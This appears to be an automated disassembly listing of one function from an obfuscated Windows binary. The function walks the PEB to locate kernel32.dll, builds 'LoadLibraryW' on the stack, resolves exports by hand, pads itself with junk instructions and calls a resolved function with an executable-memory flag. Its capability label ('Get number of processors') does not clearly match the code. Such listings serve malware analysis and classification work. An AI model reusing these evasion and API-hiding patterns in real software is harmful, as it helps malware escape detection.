Function at 0x406a42
Capabilities:
Get number of processors

Disassembly:
add esp, 4
pop esi
push edx
and edx, 0x11b1a
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
xor edx, 0x2a23
and edx, 0x1c2d
jmp 0x406a88
pop edx
push ecx
push edi
add esp, 4
xor ecx, 0xefd5
jmp 0x406a9a
add ecx, 0x44aa
xor ecx, 0xb1b6
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x406abf
mov dword [ebp - 0x2a8], 0
jmp 0x406d66
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push ecx
add esp, 4
jmp 0x406adf
jmp 0x406ae8
and edx, 0x52b4
and edx, 0x2e68
pop edx
push edi
sub edi, 0x1149e
add edi, 0x5d3f
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x406b1b
mov dword [ebp - 0x2a8], 0
jmp 0x406d66
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push ecx
add esp, 4
and ecx, 0x7a87
jmp 0x406b38
xor ecx, 0x16901
and ecx, 0x6a2
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x1148d
pop eax
push ebx
or ebx, 0x8e10
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
add edx, 0xd108
and edx, 0xbe54
or edx, 0x819d
pop edx
push ebx
push edx
add esp, 4
and ebx, 0x39c4
or ebx, 0x16f0e
sub ebx, 0x100a7
or ebx, 0xe6c
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push edx
add esp, 4
and ecx, 0x7f92
pop ecx
push edi
add edi, 0x17fbf
add edi, 0x2e02
pop edi
push ebx
or ebx, 0x46a1
and ebx, 0xadc2
pop ebx
push eax
jmp 0x406c3d
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406c5b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406cb5
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406b83
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406b83
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406c9f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406ca9
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x406cfe
push eax
push eax
add esp, 4
xor eax, 0x2cb6
add eax, 0x171d0
sub eax, 0xf4cd
or eax, 0xb378
pop eax
push ecx
jmp 0x406ce3
and ecx, 0x170d5
sub ecx, 0x4a2b
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406d66
push ecx
push edx
add esp, 4
call 0x406d12
add byte [eax*2 + 0x4c414833], bh
cmp eax, 0xc4834a46
add al, 0x59
push edx
sub edx, 0x81b8
or edx, 0xf281
or edx, 0xdb59
and edx, 0xc2cc
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406d5c
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x406b27
mov dword [ebp - 0x2a8], 0
push edi
or edi, 0xde11
or edi, 0xceb8
or edi, 0xe244
pop edi
push edx
push ecx
add esp, 4
and edx, 0x181bf
xor edx, 0x2c00
sub edx, 0x10e1d
or edx, 0xdc77
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x40769d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
jmp 0x406e48
pop ecx
push esi
and esi, 0x171c1
and esi, 0x1064c
pop esi
push edi
push ebx
add esp, 4
call 0x406e6c
add byte [eax + 0x38], al
inc esi
push eax
cmp eax, 0x833c4743
les eax, [edi + ebx*2]
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push eax
add esp, 4
jmp 0x406f00
xor ebx, 0x7ac4
and ebx, 0x158c3
pop ebx
push eax
push ecx
add esp, 4
sub eax, 0xf329
and eax, 0xbfd
xor eax, 0xbc95
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x406f3d
mov dword [ebp - 0x710], 0
jmp 0x4071e4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
jmp 0x406f55
sub ecx, 0x7499
pop ecx
push esi
or esi, 0x17a63
add esi, 0xfcab
and esi, 0x18231
pop esi
push eax
call 0x406f7d
add byte [ecx + 0x39], cl
aas
xor eax, 0xc4833c4c
add al, 0x58
cmp dword [ebp - 0xc58], 0
jne 0x406f99
mov dword [ebp - 0x710], 0
jmp 0x4071e4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
and ecx, 0x92c3
call 0x406fbb
add byte [ebp + 0x37], al
push eax
aaa
inc ecx
aaa
inc edi
dec esp
inc esp
add esp, 4
add ecx, 0x150f8
add ecx, 0xf086
pop ecx
push edx
push eax
add esp, 4
xor edx, 0xd747
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
jmp 0x407007
pop ebx
push ebx
and ebx, 0x713f
jmp 0x407015
sub ebx, 0xa814
pop ebx
push ecx
add ecx, 0xd70d
jmp 0x40702c
add ecx, 0x70a7
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
push ebx
add esp, 4
or edi, 0xfcb0
pop edi
push edi
push ebx
add esp, 4
sub edi, 0x43fb
pop edi
push eax
sub eax, 0x13e57
jmp 0x4070af
sub eax, 0x1189b
or eax, 0x16213
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4070d9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x407133
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407001
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407001
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40711d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x407127
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40717c
push ecx
xor ecx, 0x1176
add ecx, 0x141eb
pop ecx
push edx
push ebx
add esp, 4
jmp 0x407155
pop edx
push ebx
push edi
add esp, 4
and ebx, 0xf790
or ebx, 0x37fb
xor ebx, 0x11d4d
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4071e4
push ebx
call 0x40718c
add byte [eax + edi], dh
aas
inc ecx
dec ebp
inc esp
xor edi, dword [edi]
inc ecx
add esp, 4
call 0x40719e
add byte [0x3d323f3a], dh
dec ecx
dec ecx
inc edi
dec edx
add esp, 4
xor ebx, 0x112df
or ebx, 0x1ddc
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4071da
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406fa5
mov dword [ebp - 0x710], 0
push ebx
push edi
add esp, 4
sub ebx, 0x12748
call 0x4071fc
add byte [edi], dh
xor ecx, dword [ecx + 0x37]
cmp al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [esp + edi + 0x43], cl
cmp dword [ebx], edi
cmp esi, dword [0x8104c483]
ret
push edi
call 0x4076ab
add byte [edx + 0x3e], al
inc eax
dec ebp
xor cl, byte [ebx + eax*4 - 0x3c]
add al, 0x81
neg dword [edx]
sbb al, byte [ecx]
add byte [ecx + 0xf7dae7], al
add byte [ecx + 0x39adef], al
add byte [edi + 0x52], bl
or edx, 0x7321
xor edx, 0x172f
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
push ecx
add esp, 4
add edi, 0x960f
or edi, 0x69b0
pop edi
push ecx
sub ecx, 0x7224
and ecx, 0x3664
pop ecx
push edi
push esi
add esp, 4
sub edi, 0x8a34
xor edi, 0x6e5e
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x407741
mov dword [ebp - 0x2a8], 0
jmp 0x4079e8
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edi
jmp 0x40775d
pop edi
push edx
xor edx, 0x16521
pop edx
push edx
push edx
add esp, 4
and edx, 0x17f88
xor edx, 0x109ab
pop edx
push ebx
or ebx, 0x7a61
jmp 0x407784
pop ebx
cmp dword [ebp - 0xc68], 0
jne 0x40779d
mov dword [ebp - 0x2a8], 0
jmp 0x4079e8
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
push eax
add esp, 4
and esi, 0xcd5d
pop esi
push ebx
add ebx, 0x12455
sub ebx, 0x12861
add ebx, 0xd607
call 0x4077d7
add byte [edx], dh
xor al, byte [ebp + 0x3e]
dec esp
inc edx
inc edi
cmp byte [ebx - 0x72a4fb3c], al
test eax, ebx
jmp 0x85ca77e2
push edx
xor edx, 0xc51b
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x732d
xor ebx, 0x1204c
pop ebx
push edi
push ecx
add esp, 4
add edi, 0x2e6
and edi, 0x16f74
sub edi, 0x439d
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push edx
add esp, 4
or edi, 0x157e5
sub edi, 0x174f3
pop edi
push esi
or esi, 0x9b76
add esi, 0xcd64
call 0x407a57
add byte [edi + 0x38], cl
cmp byte [esi], dh
inc edx
cmp edi, dword ss:[ebx]
inc edi
add esp, 4
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407a8b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d7c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407ab3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d7c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407ae5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407d7c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407b0a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407d7c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407b64
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407d70
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407bd4
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407c86
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407c86
push ebx
add ebx, 0x6263
add ebx, 0x5fe
add ebx, 0x133ee
or ebx, 0x25dc
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0x1903
add ecx, 0x16783
or ecx, 0x1181c
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407c78
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407c7f
jmp 0x407bc5
jmp 0x407c86
push edi
push esi
add esp, 4
or edi, 0x14782
add edi, 0x3f68
pop edi
push esi
push eax
add esp, 4
and esi, 0x15115
pop esi
push edi
and edi, 0x14b96
pop edi
push eax
push edi
add esp, 4
add eax, 0xc490
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407ce5
mov dword [ebp - 0xc6c], 0
jmp 0x407d54
push esi
or esi, 0x8d64
add esi, 0x13773
pop esi
push edi
push ebx
add esp, 4
xor edi, 0x7acc
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0x1181b
pop ebx
push esi
push esi
add esp, 4
add esi, 0xe741
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407d4a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407d54
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407d6b
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407d7c
jmp 0x407b55
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
and edx, 0x3519
sub edx, 0x1854
and edx, 0xac67
sub edx, 0x16534
pop edx
push ecx
push ebx
add esp, 4
add ecx, 0x10677
xor ecx, 0x1346c
xor ecx, 0x13210
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407e2d
push ebx
push ecx
add esp, 4
add ebx, 0x16826
or ebx, 0x130c4
and ebx, 0x151e7
pop ebx
push edi